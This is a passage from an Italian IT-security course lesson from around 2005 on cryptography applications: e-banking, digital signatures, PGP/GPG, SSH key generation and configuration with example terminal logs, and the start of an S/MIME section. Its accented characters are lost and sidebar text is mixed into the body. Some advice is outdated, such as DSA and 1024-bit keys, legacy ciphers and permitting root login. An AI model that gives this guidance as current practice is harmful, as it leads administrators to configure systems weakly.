1) operazioni di carattere informativo, come la visualizza-
zione di un estratto conto, la situazione dei bonifici, lo
stato degli ordini oppure lo stato di unasta elettronica,
2) operazioni di tipo dispositivo, come un ordine di acqui-
sto, un ordine di bonifico, la vendita di azioni oppure il
pagamento di unutenza.
Le operazioni di carattere informativo forniscono ac-
cesso ai dati in lettura e non danno origine a flussi di de-
naro. Normalmente sufficiente proteggere il canale di co-
municazione e il protocollo SSL incorporato nei browser
perfettamente adeguato allo scopo.
Per le operazioni di tipo dispositivo sono ipotizzabili di-
verse strade. Il protocollo SSL, spesso utilizzato, pu risul-
tare adeguato nei casi in cui glimporti in gioco non sugge-
riscano di adottare meccanismi di protezione pi robusti.
Sebbene SSL utilizzi algoritmi crittografici affidabili, le-
ventuale punto debole che protegge solo il canale di co-
municazione, dopo di che i dati sono messi in chiaro dal
server web, senza un controllo preciso di chi possa acce-
dere alle informazioni.
La protezione crittografica della rete viene spesso di-
stinta in due categorie: link encryption ed end-to-end en-
cryption. La protezione del collegamento (link) si applica
agli strati inferiori dei protocolli di comunicazione, fino al-
lo strato di trasporto in cui opera SSL. Il modello end-to-end
si applica allo strato applicativo: end-to-end significa che
sono le applicazioni, ai due estremi (end) della comunica-
zione, che controllano la cifratura e decifratura e quindi la
messa in chiaro dei dati. In tal modo i dati sono pi protet-
ti e meno soggetti a intrusioni da parte di altre entit del si-
stema.
Esempi di protocolli di sicurezza allo strato applicativo
sono S-HTTP (Secure Hypertext Transport Protocol) e SET
(Secure Electronic Transaction), scarsamente usati rispet-
to a SSL e alla recente variante TLS. Utilizzando lapproccio
end-to-end, lapplicazione pu utilizzare le tecniche di ci-
fratura viste in precedenza sulle singole disposizioni (i mo-
vimenti economici ordinati dallutente) e provvede sia a da-
re corso alle transazioni sia a conservare in modo sicuro i
messaggi degli utenti, esponendo le informazioni alla visi-
bilit strettamente necessaria.
Firma digitale e non ripudio nei servizi
di e-banking e di e-mail
Abbiamo visto che la firma digitale annovera tra le sue
funzioni il non ripudio di un messaggio. Normalmente, pos-
siamo supporre che gli accessi di tipo informativo non ab-
biano bisogno di firma digitale, mentre prevedibile che le
disposizioni debbano essere firmate dal richiedente. In tal
www.pcopen.it 38
3
4
5
6
7
5.2.7. Applicazioni
5.2.7.1 Essere
consapevole dell'uso
della crittografia per
proteggere i dati nelle
transazioni on-line
come avviene nell'e-
commerce e nell'e-
banking
5.2.7.2 Essere
consapevole dell'uso
della firma digitale
per garantire il non-
ripudio
Lezione 2 IT Administrator - Sicurezza informatica
modo, se la firma non risultasse valida (per esempio a cau-
sa di un certificato scaduto o revocato), la disposizione
non verrebbe eseguita. Inoltre i messaggi sono registrati,
cos che la banca o altra organizzazione possa sempre di-
mostrare di aver ricevuto una disposizione valida firmata
dal cliente e non ripudiabile.
Il non ripudio pu non essere sufficiente se non asso-
ciato in modo certo allistante temporale della firma. Per-
ci, la firma digitale pu essere utilmente affiancata da un
servizio di marcatura temporale (timestamp). Si tratta di
un servizio fornito da una Time Stamp Authority (TSA), una
terza parte fidata che attesta il tempo di produzione o din-
vio di un documento tramite una marca temporale, che
di fatto una controfirma del documento contenente un ha-
sh del documento, il riferimento temporale e altre infor-
mazioni.
Nel campo del software libero, OpenTSA (www.opent-
sa.org) sta sviluppando una TSA aperta e gratuita confor-
me alla RFC 3161 (Internet X.509 Public Key Infrastructure
Time-Stamp Protocol - TSP). Trai componenti software gi
prodotti c anche la Time Stamp patch for OpenSSL, une-
stensione di OpenSSL con marcatura temporale.
Il funzionamento di PGP
Pretty Good Privacy (PGP) un programma di sicurez-
za per la posta elettronica realizzato da Phil Zimmermann
e pubblicato inizialmente nel 1991 come freeware. Le fun-
zioni di PGP sono: firma digitale, cifratura dei messaggi,
compressione, conversione in ASCII (in base 64) e seg-
mentazione dei messaggi; di queste, le prime due rientrano
nel contesto delle applicazioni crittografiche.
PGP fu fatto circolare liberamente (incluso il codice sor-
gente) e conquist una rapida popolarit. Per cifrare e fir-
mare i messaggi, PGP utilizza la crittografia simmetrica e
asimmetrica. Inizialmente, il cifrario asimmetrico era RSA
e quello simmetrico, dopo un breve periodo con un algo-
ritmo rivelatosi poco sicuro, era IDEA. La chiave segreta
non fu mai inferiore a 128 bit, contravvenendo alle leggi
USA del tempo. Inoltre RSA neg di aver dato un assenso
verbale alluso del proprio cifrario (brevettato fino al 2000)
e il brevetto di IDEA scade nel 2007. Seguirono anni di que-
stioni giudiziarie che man mano si sono risolte senza dan-
no, grazie anche al successo di PGP e ad accomodamenti
sui vari fronti. Oggi esiste lazienda PGP che vende le ver-
sioni commerciali del programma e offre una versione li-
mitata freeware abbastanza scomoda da usare perch non
integrata nei programmi di posta. Tuttavia nel 1997 PGP ha
consentito allIETF di pubblicare uno standard aperto col
nome di OpenPGP. Le RFC pubblicate sono la 2440
(OpenPGP Message Format) del 1998 e la 3156 (MIME Se-
curity with OpenPGP) del 2001. La Free Software Founda-
tion ha pubblicato la propria versione di PGP (GNU Privacy
Guard: GnuPG o GPG) conforme alle specifiche OpenPGP;
disponibile gratuitamente per diverse piattaforme, tra cui
Linux, MAC OS X e Windows.
Oggi sia PGP sia GPG supportano la maggior parte dei
moderni algoritmi crittografici (cifrari simmetrici e asim-
metrici e funzioni hash), tra cui RSA, Diffie Hellmann, El-
Gamal, 3DES, AES, IDEA, CAST5, SHA, RIPEMD-160 e altri. A
differenza di PGP, OpenPGP non utilizza IDEA, che non an-
cora libero da brevetti.
Il funzionamento della firma elettronica in PGP avviene
nel modo seguente: 1) il mittente scrive un messaggio, 2)
viene calcolato un hash del messaggio, 3) lhash cifrato
con la chiave privata del mittente, 4) il mittente invia il mes-
saggio insieme allhash cifrato, 5) il destinatario riceve il
messaggio con lhash, 6) lhash decifrato con la chiave
pubblica del mittente, 7) viene ricalcolato lhash sul mes-
saggio, 8) vengono confrontati lhash decifrato e quello cal-
colato, 9) se i due hash coincidono, il messaggio autenti-
co e integro.
La riservatezza viene ottenuta nel modo seguente: 1) il
mittente scrive un messaggio, 2) il programma genera un
numero casuale utilizzato come chiave di sessione, ovvero
una chiave di cifratura simmetrica usata solo per quel mes-
saggio, 3) il messaggio viene cifrato con un algoritmo sim-
metrico usando la chiave di sessione generata, 4) la chiave
di sessione cifrata con la chiave pubblica del destinatario,
5) il messaggio cifrato e la chiave cifrata sono inviati al de-
stinatario, 6) presso il destinatario, il programma decifra la
chiave di sessione utilizzando la chiave privata del desti-
natario, 7) il messaggio decifrato utilizzando la chiave di
sessione decifrata.
Firma e cifratura possono essere applicate insieme in
questo modo: 1) il mittente scrive un messaggio, 2) il mit-
tente firma il messaggio come visto sopra, 3) messaggio ed
hash sono cifrati come appena visto, 4) messaggio ed hash
cifrati sono inviati al destinatario, 5) presso il destinatario,
la chiave segreta cifrata decifrata con la chiave privata,
ottenendo la chiave di sessione, 6) il resto del messaggio ri-
cevuto decifrato con la chiave simmetrica di sessione, 7)
la prima parte del messaggio decifrato (lhash) viene deci-
frato con la chiave pubblica del mittente, 8) sul resto del
messaggio viene calcolato lhash, 9) vengono confrontati
lhash decifrato e quello calcolato, 10) se i due hash coin-
cidono, il messaggio autentico e integro.
Come si vede, anche PGP sfrutta i principi visti in pre-
cedenza: 1) lintegrit del messaggio viene verificata su un
hash del messaggio, non sullintero messaggio ( molto pi
veloce), 2) il messaggio cifrato con un algoritmo simme-
trico, veloce e non vincolato alla lunghezza dei messaggi, 3)
lalgoritmo asimmetrico viene usato per lo scambio delle
chiavi simmetriche.
Le operazioni sono svolte automaticamente dal softwa-
re, senza interventi delloperatore (dopo la generazione ini-
ziale della coppia di chiavi asimmetriche). PGP offre diver-
se versioni di software commerciale che si integrano con le
applicazioni di posta. La versione freeware richiede invece
la cifratura e decifratura del file o del clipboard, da copia-
re a mano nel programma di posta. GPG viene usato come
modulo di base o attraverso uninterfaccia grafica (ne esi-
stono per i vari sistemi operativi e hanno nomi diversi) e
pu essere integrato con Mozilla e Thunderbird tramite un
add-in chiamato Enigmail.
Per la sicurezza nelluso di PGP si devono considerare
due aspetti: 1) i numeri casuali usati come chiavi di ses-
sione devono essere il pi possibile realmente casuali; si
usano algoritmi PRNG (pseudo-random number generator)
e meccanismi che sfruttano eventi casuali naturali per ge-
nerare sequenze di numeri casuali e non ripetibili; 2) le
chiavi pubbliche devono essere effettivamente tali e verifi-
cabili; le implementazioni pi moderne di PGP e GPG si ba-
sano su un server di distribuzione delle chiavi pubbliche,
ma inizialmente le chiavi erano pubblicate su qualche ser-
ver e gli utenti si scambiavano gli hash delle chiavi per con-
sentire il controllo dellautenticit.
Installare e configurare un prodotto PGP
Le versioni commerciali e la versione freeware di PGP,
con la relativa documentazione, sono disponibili presso il
sito di PGP Corporation (www.pgp.com). La versione
freeware limitata per Windows scaricabile alla pagina
www.pgp.com/downloads/freeware/freeware.html ed fa-
cilmente installabile eseguendo il file scaricato. Unicona
nella barra di notifica di Windows (in basso a destra) d ac-
cesso alle funzioni disponibili (le principali sono genera-
zione chiavi, firma, cifratura, firma e cifratura, decifratura).
I messaggi possono risiedere in un file o nel clipboard di
Windows. Solo le versioni a pagamento includono un plu-
gin per i programmi di posta, come Outlook, in modo da fir-
mare, cifrare e decifrare i messaggi dallinterno del pro-
gramma.
GPG gi incluso in diverse distribuzioni Linux (come
SuSE Linux 9.2 e Fedora 3), inoltre scaricabile per vari si-
www.pcopen.it 39
5.2.7.4 Essere in
grado d'installare e
configurare un
prodotto che gestisca
il protocollo PGP
5.2.7.3 Conoscere i
principali aspetti
operativi di PGP
ITAdministrator - Sicurezza informatica Lezione 2
stemi operativi presso www.gnupg.org e i siti collegati. La
versione per Windows a linea di comando, ma esistono
plugin GPG per i programmi di posta, come EudoraGPG per
Eudora sotto Windows (http://eudoragpg.sourceforge.
net/ver2.0/en/).
In Windows, GPG pu essere utilizzato direttamente
aprendo il file eseguibile, oppure pu essere installato se-
condo i canoni di Microsoft editando il registro di sistema.
Le istruzioni presso http://enigmail.mozdev.org/gpgcon-
fig.html guidano allinstallazione e configurazione di GPG in
Windows 9x e in Windows NT/2000/XP.
Una sintetica guida in italiano alluso di GPG reperibi-
le presso www.gnupg.org/(en)/howtos/it/GPGMiniHow-
to.html. Unottima guida per usare la versione di GPG a li-
nea di comando per Windows www.glump.net/
content/gpg_intro.pdf.
Lambiente ideale
per utilizzare GPG
SuSE Linux, dato
che il client di po-
sta KMail e lutility
di gestione delle
chiavi KGpg fanno
parte dellinterfac-
cia standard KDE. Fedora 3 usa per default linterfaccia
GNOME, ma include parecchie applicazioni KDE, come
KMAIL e KGpg (utilizzabili modificando le applicazioni pre-
ferite nelle preferenze).
Per utilizzare GPG sinizia creando una coppia di chiavi
in KGpg. La scelta dellalgoritmo asimmetrico tra RSA e la
coppia DSA/ElGamal (firma e scambio chiavi).
Secure Shell - SSH
Secure Shell (SSH) un protocollo per realizzare un col-
legamento remoto sicuro da un computer a un altro attra-
verso una rete insicura. Supporta il login remoto sicuro, il
trasferimento sicuro di file e linoltro sicuro del traffico di
tipo TCP/IP e X Window. SSH in grado di autenticare, ci-
frare e comprimere i dati trasmessi. Sebbene si chiami Se-
cure Shell, SSH non un vero shell come il Bourne shell
(linterprete dei comandi) o il C shell di Unix e non un in-
terprete di comandi. SSH crea un canale sicuro per esegui-
re uno shell da un computer remoto, in modo simile al co-
mando rsh (remote shell) di Unix, ma con cifratura end-to-
end (da unapplicazione allaltra) tra il computer locale e il
computer remoto. A differenza di rsh, SSH assicura lau-
tenticazione, la riservatezza e lintegrit alla trasmissione
in rete. Esistono molti prodotti basati su SSH, per i diversi
sistemi operativi e in versioni sia commerciali sia a libera
distribuzione.
Una comunicazione con il protocollo SSH implica la par-
tecipazione di due attori: il client da cui parte la richiesta
di collegamento e il server a cui la richiesta indirizzata.
Client e server operano secondo uno schema che prevede
numerose varianti. Inoltre esistono due versioni di proto-
collo, SSH-1 e SSH-2, tra loro incompatibili. La prima sup-
portata da tutti i prodotti, ma vulnerabile; la seconda, pi
articolata e sicura, non supportata da alcuni prodotti, co-
me TGSSH per PalmOS. I programmi recenti supportano en-
trambe le versioni e sono quindi in grado di connettersi a
qualunque tipo di server.
Il termine SSH indica in genere sia una versione di pro-
tocollo che un prodotto software. Per distinguere tra i pro-
www.pcopen.it 40
Generazione chiave GPG
con SUSE.
Viene chiesta una
passphrase, o frase
segreta, per proteggere
laccesso alle chiavi.
Le chiavi vengono
generate e identificate,
come indicato da KGpg.
La coppia di chiavi viene
quindi elencata nel
repertorio di chiavi
disponibili
Ora occorre configurare
KMail nella sezione
Identit, che fa
riferimento alle chiavi
KGpg
Per firmare e cifrare i
messaggi in KMail, si
compone il messaggio,
si seleziona unidentit
(coppia di chiavi GPG) e
si premono le icone di
firma e di cifratura.
Un messaggio firmato
e cifrato in KMail,
spedito a se stessi,
viene cos decifrato e
verificato
5.2.7.5 Conoscere i
principi operativi di
SSH
Lezione 2 IT Administrator - Sicurezza informatica
tocolli e i prodotti commerciali, spesso si usa la seguente
terminologia: SSH-1 e SSH-2 indicano i protocolli (per esem-
pio SSH-1-5); SSH1 e SSH2 indicano due prodotti di SSH
Communications Security (formata dal finlandese Tatu
Ylnen, autore della prima versione del protocollo); OpenS-
SH una versione gratuita multipiattaforma di OpenBSD
Project; OpenSSH/1 e OpenSSH/2 indicano il comporta-
mento di OpenSSH in relazione alluso di SSH-1 e SSH-2; ssh
indica un programma client incluso in SSH1, SSH2, OpenS-
SH, F-Secure SSH e altri prodotti. SSH e OpenSSH sono de-
scritti in vari documenti IETF (nel 2005 ancora a livello di
bozza - draft).
Stabilire la connessione
Il funzionamento di SSH complesso e ricco di funzio-
nalit e opzioni, tanto da richiedere un libro per una de-
scrizione completa (il pi noto SSH, The Secure Shell:
The Definitive Guide di Barret e Silverman, pubblicato da
OReilly). Vediamo lo schema di funzionamento di SSH-1
nella fase in cui viene stabilita la connessione.
1) Il client contatta il server, inviando una richiesta di
connessione alla porta TCP 22 del server; 2) Il server ri-
sponde con una stringa (del tipo SSH-1.99-OpenSSH_2.3.0)
che indica la versione del protocollo e del prodotto. Se il
client non supporta la versione (o una delle versioni) del
server, chiude la connessione, altrimenti risponde con una
stringa simile. Quando client e server supportano entram-
be le versioni di SSH, decidono quale utilizzare.
3) Il client e il server passano alluso di un formato di
pacchetto pi sicuro, al di sopra del TCP che funge da tra-
sporto, in modo da sventare attacchi al testo in chiaro.
4) Il server identifica se stesso al client e fornisce i pa-
rametri per la sessione. Invia le seguenti informazioni in
chiaro: la chiave pubblica dellhost (fissata allinstallazio-
ne), la chiave pubblica del server (rigenerata periodica-
mente per sventare tentativi di crittoanalisi), una sequen-
za casuale di otto byte (check bytes o cookie) che il client
dovr ripetere e liste dei metodi di cifratura, di compres-
sione e di autenticazione supportati dal server.
5) Sia il client sia il server calcolano un identificativo di
sessione comune di 128 bit, usato nelle operazioni succes-
sive per identificare in modo univoco la sessione SSH. Si
tratta di un hash MD5 sullinsieme di chiave host, chiave
server e cookie.
6) Il client verifica che la chiave host del server corri-
sponda alla chiave gi memorizzata (la prima volta chiede
conferma). In caso di discrepanza, la connessione termina
(il server connesso potrebbe essere quello di un terzo in-
comodo che tenta di eseguire un attacco man in the midd-
le per appropriarsi della connessione).
7) Il client genera una chiave di sessione, ottenuta ge-
nerando un numero casuale di 256 bit, calcolando lOR
esclusivo tra lidentificativo di sessione e i primi 128 bit del-
la chiave di sessione. Scopo della chiave di sessione ci-
frare e decifrare i messaggi tra client e server. Dato che la
cifratura non ancora attiva, la chiave non pu essere tra-
smessa in chiaro. Perci il client cifra questa chiave due
volte, sia con la chiave host sia con la chiave server sopra
citate. Dopo la cifratura, il client invia la chiave di sessione,
insieme al cookie e a una lista di algoritmi, scelti tra quelli
supportati dal server.
8) Dopo linvio della chiave di sessione, entrambe le par-
ti iniziano a cifrare i dati con tale chiave e lalgoritmo sim-
metrico prescelto. Prima dinviare dati, per, il client at-
tende un messaggio di conferma dal server, cifrato con la
chiave di sessione. Esso fornisce lautenticazione del ser-
ver: solo il vero server in grado di decifrare la chiave di
sessione, cifrata con la chiave host verificata in preceden-
za a fronte della lista degli host noti.
Autenticazione del client
Una volta stabilita la connessione (inclusa autentica-
zione del server), inizia la fase di autenticazione del client.
Nel caso pi semplice, essa si limita allinvio dellidentifi-
cativo di utente e della password; sebbene siano trasmes-
si cifrati, tale metodo poco sicuro e sconsigliato, soprat-
tutto per la diffusa abitudine di scegliere password deboli.
Normalmente si consiglia di utilizzare una coppia di chiavi
RSA o DSA per lautenticazione del client (SSH accetta co-
munque anche altri tipi di autenticazione).
Lautenticazione del client con chiavi RSA in SSH-1 av-
viene secondo i passi che seguono. Per accedere a un ac-
count su una macchina in funzione di server (client e ser-
ver possono comunque scambiarsi i ruoli), il client dimo-
stra di possedere la chiave privata corrispondente a una
chiave pubblica autorizzata. Una chiave autorizzata se
la componente pubblica contenuta nel file di autorizza-
zione dellaccount (per esempio ~/.ssh/authorized_keys).
Ecco la sequenza delle azioni.
1) Il client invia al server una richiesta di autenticazione
con chiave pubblica e indica quale chiave intende usare
(trasmette il modulo e lesponente, vale a dire i due ele-
menti dellalgoritmo RSA che costituiscono la chiave
pubblica).
2) Il server legge il file delle autorizzazioni per laccount
dellutente e cerca una voce contenente la stessa chiave
(in sua assenza, lautenticazione con chiave fallisce). Se
il controllo positivo e non ci sono restrizioni alluso di
tale chiave da parte del client e del suo host, il processo
continua.
3) Il server genera una stringa casuale di 256 bit come chal-
lenge, la cifra con la chiave pubblica dellutente e la in-
via al client.
4) Il client riceve il challenge e lo decifra con la corrispon-
dente chiave privata; in tale fase il programma di solito
chiede allutente una passphrase (frase segreta) che ser-
ve unicamente a decifrare la chiave privata, che per si-
curezza salvata cifrata. Dopo di che il client combina il
challenge con lidentificativo di sessione, ne calcola lha-
sh con MD5 e lo invia al server in risposta al challenge.
5) Il server confronta il digest ricevuto con quello calcola-
to e, se coincidono, considera autenticato lutente.
La descrizione appena fornita si riferisce a SSH-1; SSH-2
non molto diverso, ma pi sicuro, pi elegante e pi fles-
sibile. SSH-1 ha una struttura monolitica ed esegue pi fun-
zioni in un singolo protocollo; SSH-2 articolato in tre com-
ponenti principali: Transport Layer Protocol, Connection
Protocol e Authentication Protocol.
1) SSH Transport Layer Protocol. Le connessioni negozia-
te con tale protocollo godono di cifratura forte, autenti-
cazione del server e protezione dellintegrit. Pu esse-
re fornita anche la compressione.
2) SSH Connection Protocol. Permette ai nodi client di ne-
goziare canali aggiuntivi per convogliare (multiplex) di-
versi flussi (stream) di pacchetti da pi applicazioni at-
traverso il tunnel SSH originario. I diversi flussi vengono
mescolati secondo un preciso metodo al fine di convo-
gliarli tutti attraverso il medesimo tunnel e quindi sepa-
rarli di nuovo (de-multiplex) alluscita dal tunnel. Di-
sporre il Connection Protocol sopra il Transport Layer
Protocol riduce anche il carico di elaborazione, perch
lutente non costretto a impostare una nuova connes-
sione per ogni applicazione.
3) SSH Authentication Protocol. Il processo di autentica-
zione separato dal Transport Layer Protocol, perch
non sempre necessario autenticare lutente. Quando
richiesta lautenticazione, il processo viene protetto
dalla connessione sicura originaria stabilita dal Tran-
sport Layer Protocol.
Come abbiamo visto, linstaurazione del collegamento e
lautenticazione costituiscono una procedura complessa,
ma, salvo per la richiesta della passphrase, si tratta di una
www.pcopen.it 41
ITAdministrator - Sicurezza informatica Lezione 2
procedura automatica e pressoch istantanea. Il meccani-
smo di SSH molto sicuro a patto di utilizzarlo corretta-
mente.
Vediamo alcuni potenziali rischi.
1) Lutilizzo di un cifrario simmetrico debole per cifrare i
dati. Per esempio, DES (supportato da SSH-1, ma non
SSH-2) va evitato perch facilmente violabile; si possono
usare 3DES, AES e altri algoritmi forti.
2) Utilizzo di nome utente e password. Non dovrebbe es-
sere usato perch offre unautenticazione meno sicura ri-
spetto alluso delle chiavi asimmetriche, anche nel caso
di password scelte oculatamente.
Vediamo alcuni punti deboli delle implementazioni. Il
principale limite alla sicurezza posto talvolta dalla scel-
ta del software e dalla sua versione. E consigliabile
consultare i report di sicurezza (advisories) di
www.cert.org per conoscere i punti deboli delle
implementazioni di SSH per le varie piattaforme (per una
descrizione delle funzioni di CERT, Computer Emergency
Response Team, vedi la sezione 5.1.3.5 della prima
lezione: CERT, CSIRT e la gestione degli incidenti,
pubblicata come capitolo 11 nel corso multimediale su
CD). Per esempio, ladvisory www.cert.org/advisories/CA-
2002-36.html elenca numerose implementazioni di SSH e
ne riporta gli eventuali punti deboli. In generale, preferi-
bile utilizzare la versione 2 di SSH, a meno che non vi
siano validi motivi per scegliere la prima versione. In ogni
caso, oggi esistono diversi prodotti SSH-2 per diverse
piattaforme, incluso Palm OS (vedi www.tussh.com/
www.palmgear.com/index.cfm?fuseaction=software.show-
software&PartnerREF=&siteid=1&prodid=72847&siteid=1
www.sealiesoftware.com/pssh
http://staff.deltatee.com/ ~angusa/TuSSH_old.html).
Finora abbiamo menzionato il funzionamento di ssh, il
client SSH per il login remoto. Altri esempi di client SSH so-
no scp per il trasferimento sicuro dei file, sftp per la con-
nessione sicura FTP e ssh-agent, un agente che permette
lautenticazione sicura con parecchi computer in rete sen-
za bisogno di ricordare tutte le passphrase. Il daemon sshd
viene invece utilizzato per restare in ascolto in attesa del-
le chiamate dai client SSH.
Installare un prodotto che gestisce
il protocollo SSH
SSH solitamente supportato dalle moderne distribu-
zioni Linux (in versione OpenSSH) attraverso applicazioni
come ssh, scp, ssh-keygen, sshd e sftp. Anche MAC OS X
dotato di SSH (1.5 e 2.0). OpenSSH disponibile per vari si-
stemi operativi, incluso Windows. Per Palm OS esistono
Top Gun SSH (solo SSH-1) e TuSSH (SSH-1 e SSH-2). Per Win-
dows esistono diverse versioni, elencate in www.opens-
sh.com/windows.htm; tra queste, una delle pi note
PuTTY, un client Telnet, Rlogin e SSH per il login remoto. E
concesso in licenza gratuita dallMIT ed facile da usare,
anche se meno sicuro della versione OpenSSH
(http://sshwindows.sourceforge.net/); sia PuTTY sia
OpenSSH for Windows supportano le due versioni di SSH.
I computer che agiscono da server devono avere instal-
lata anche unapplicazione SSH server, il che frequente,
ma non sempre accade (per esempio PuTTY solo client).
In Linux e Mac OS X, SSH implementato anche come ser-
ver; per Windows esistono versioni server (sshd) com-
merciali come WinSSHD (http://www.bitvise.com/wins-
shd.html).
Alcune applicazioni SSH, vedi OpenSSH, sono del tipo
software libero, distribuite anche come sorgenti. Normal-
mente ci si limita a scaricare i file eseguibili per la piat-
taforma desiderata (per esempio Win32 su hardware x86).
Se occorre, bisogna espandere i file compressi, per esem-
pio con tar (formati tar e tgz), rpmI (formato rpm), dpkg
(formato debian) o Winzip (formato zip).
Installato, se occorre, il software SSH, sar bene utiliz-
zare quando possibile la versione 2 e comunque evitare di
utilizzare DES se si usa la versione 1. In OpenSSH si posso-
no modificare le impostazioni SSH a livello di sistema nei fi-
le /etc/ssh/ssh_config e /etc/ssh/sshd_config.
Quanto allautenticazione, senzaltro preferibile utiliz-
zare le chiavi asimmetriche. Basta generare le chiavi con
lapposita utility (come ssh-keygen) e copiare le chiavi pub-
bliche sul server come specificato per la versione di SSH
utilizzata (vedi lesempio in Linux pi avanti).
In Linux, i parametri Cipher e Ciphers in ssh_config han-
no i seguenti valori di default:
Cipher 3des
Ciphers aes128-cbc,3des-cbc,blowfish-cbc,cast128-
cbc,arcfour,aes192-cbc,aes256-cbc
Il parametro PasswordAuthentication vale solo per i ser-
ver ed preferibile sia impostato a no.
Il parametro PermitRootLogin, per i server, permette di
collegarsi come root; si consiglia yes qualora le password
non fossero abilitate, altrimenti si consiglia il valore
without-password, in modo da forzare luso delle chiavi per
lautenticazione.
Creare una chiave
con un pacchetto compatibile SSH
Nella maggior parte dei casi, la generazione delle chiavi
assai semplice, come si vede in questo esempio di dialo-
go in Linux, dove richiesta la generazione di chiavi DSA e
luso della versione 2 di SSH.
La passphrase pu essere omessa, ma il suo uso con-
sigliato per proteggere la chiave privata, che deve restare
segreta.
gobbi@linux:~> ssh-keygen -t dsa
Generating public/private dsa key pair.
Enter file in which to save the key
(/home/gobbi/.ssh/id_dsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in
/home/gobbi/.ssh/id_dsa.
Your public key has been saved in
/home/gobbi/.ssh/id_dsa.pub.
The key fingerprint is:
bc:ed:44:26:7a:29:66:1b:5f:6a:d3:15:cb:ef:b6:6d
gobbi@linux
Le versioni di OpenSSH permettono di operare come se-
gue.
Nelle versioni non recenti di SSH ci si pu limitare a usa-
re ssh-keygen per generare una coppia di chiavi RSA. Nelle
versioni recenti si pu scegliere fra tre modalit:
1) ssh-keygen -t rsa1 per chiavi RSA con versione 1 di SSH
2) ssh-keygen -t rsa per chiavi RSA con versione 2 di SSH
3) ssh-keygen -t dsa per chiavi DSA con versione 2 di SSH
Vengono chieste due informazioni: il nome del file dove
si vuole memorizzare la chiave privata (la chiave pubblica
viene salvata in un file con lo stesso nome e suffisso .pub)
e la passphrase di sblocco della chiave privata.
Se, per generare le chiavi, si usa PuTTY in Windows, ba-
sta eseguire Puttygen.exe e specificare in basso una delle
tre opzioni, equivalenti a quelle viste per OpenSSH; si con-
siglia di usare una delle due previste per SSH-2. Si pu mo-
dificare la lunghezza della chiave, ma il default di 1.024
adeguato.
Dopo il clic su Generate, viene chiesto di muovere il
mouse sopra la finestra del programma, in modo da gene-
rare eventi casuali che aiutano a produrre valori casuali.
Dopo la generazione, si scrive la passphrase per protegge-
re la chiave privata. Le chiavi pubblica e privata sono sal-
vate separatamente ed preferibile che abbiano lo stesso
nome (viene aggiunto .ppk a quella pubblica).
www.pcopen.it 42
5.2.7.6 Essere in
grado d'installare e
configurare un
prodotto software
che gestisca il
protocollo SSH
Lezione 2 IT Administrator - Sicurezza informatica
Inserire chiavi su un server per autenticarne
i proprietari
Nellautenticazione con chiavi, il server deve conoscere
le chiavi pubbliche dei client che si collegano. Ci avviene
copiando le chiavi pubbliche in una data posizione del ser-
ver. Nel caso di un utente che utilizza OpenSSH su un si-
stema Linux o Mac OS X, si procede come segue.
1) Si decide quale identificativo di utente (user-id) va as-
sociato al client.
2) Ci si sposta nella sua home directory (per esempio /ho-
me/gobbi).
3) Ci si sposta nella sottostante cartella .ssh.
4) Si crea il file authorized_keys se si usa la versione 1 o
authorized_keys2 se si usa la versione 2 (per esempio
touch authorized_keys2); si limitano gli accessi con ch-
mod 600 authorized_keys2.
5) Si copia la chiave pubblica del client remoto in authori-
zed_keys2; per esempio, se si trasferita la chiave su un
floppy che poi stato montato in /mnt sul server e la di-
rectory corrente /home/gobbi/.ssh, si pu usare cat
/mnt/id_dsa.pub >> authorized_keys2.
6) Altrimenti si pu trasferire la chiave al server remoto
con un comando del tipo scp id_dsa.pub gob-
bi@192.168.0.190:./id_dsa.pub, che esegue una copia si-
cura del file dalla directory .ssh del client alla home di-
rectory sul server.
Nelluso di SSH particolarmente utile lopzione -v (ver-
bose) per vedere ci che accade a ogni passo. La connes-
sione SSH (versione 2) dellutente gobbi (su Linux SuSE) al
computer con indirizzo 192.168.0.190 (con Linux Fedora),
autenticata con chiavi DSA, ha il seguente aspetto. Dopo lo
scambio dinformazioni e di chiavi, la scelta dei protocolli
e lautenticazione con chiavi asimmetriche, inizia la ses-
sione interattiva. In assenza dellautenticazione con chiavi,
verrebbe chiesta la password di Gobbi sul server.
gobbi@linux:~/.ssh> ssh -2 -v gobbi@192.168.0.190
OpenSSH_3.9p1, OpenSSL 0.9.7d 17 Mar 2004
debug1: Reading configuration data /etc/ssh/ssh_config
debug1: Applying options for *
debug1: Connecting to 192.168.0.190 [192.168.0.190]
port 22.
debug1: Connection established.
debug1: identity file /home/gobbi/.ssh/id_rsa type 1
debug1: identity file /home/gobbi/.ssh/id_dsa type 2
debug1: Remote protocol version 1.99, remote software
version OpenSSH_3.9p1
debug1: match: OpenSSH_3.9p1 pat OpenSSH*
debug1: Enabling compatibility mode for protocol 2.0
debug1: Local version string SSH-2.0-OpenSSH_3.9p1
debug1: SSH2_MSG_KEXINIT sent
debug1: SSH2_MSG_KEXINIT received
debug1: kex: server->client aes128-cbc hmac-md5 none
debug1: kex: client->server aes128-cbc hmac-md5 none
debug1: SSH2_MSG_KEX_DH_GEX_REQUEST
(1024<1024<8192) sent
debug1: expecting SSH2_MSG_KEX_DH_GEX_GROUP
debug1: SSH2_MSG_KEX_DH_GEX_INIT sent
debug1: expecting SSH2_MSG_KEX_DH_GEX_REPLY
debug1: Host '192.168.0.190' is known and matches the
RSA host key.
debug1: Found key in /home/gobbi/.ssh/known_hosts:1
debug1: ssh_rsa_verify: signature correct
debug1: SSH2_MSG_NEWKEYS sent
debug1: expecting SSH2_MSG_NEWKEYS
debug1: SSH2_MSG_NEWKEYS received
debug1: SSH2_MSG_SERVICE_REQUEST sent
debug1: SSH2_MSG_SERVICE_ACCEPT received
debug1: Authentications that can continue:
publickey,gssapi-with-mic,password
debug1: Next authentication method: publickey
debug1: Offering public key: /home/gobbi/.ssh/id_rsa
debug1: Authentications that can continue:
publickey,gssapi-with-mic,password
debug1: Offering public key: /home/gobbi/.ssh/id_dsa
debug1: Server accepts key: pkalg ssh-dss blen 433
debug1: read PEM private key done: type DSA
debug1: Authentication succeeded (publickey).
debug1: channel 0: new [client-session]
debug1: Entering interactive session.
Last login: Thu Apr 7 15:51:48 2005
[gobbi@host ~]$
Secure/Multipurpose Internet Mail
Extensions - S/MIME
S/MIME (Secure/Multipurpose Internet Mail Extensions)
un protocollo che aggiunge la cifratura e la firma elettro-
nica ai messaggi MIME descritti nella RFC 1521 (Mechani-
sms for Specifying and Describing the Format of Internet
Message Bodies). MIME lo standard che specifica come
devono essere trasferiti i dati multimediali e gli allegati di
e-mail. I messaggi di posta su Internet consistono di due
parti, lintestazione e il corpo. Lintestazione raccoglie una
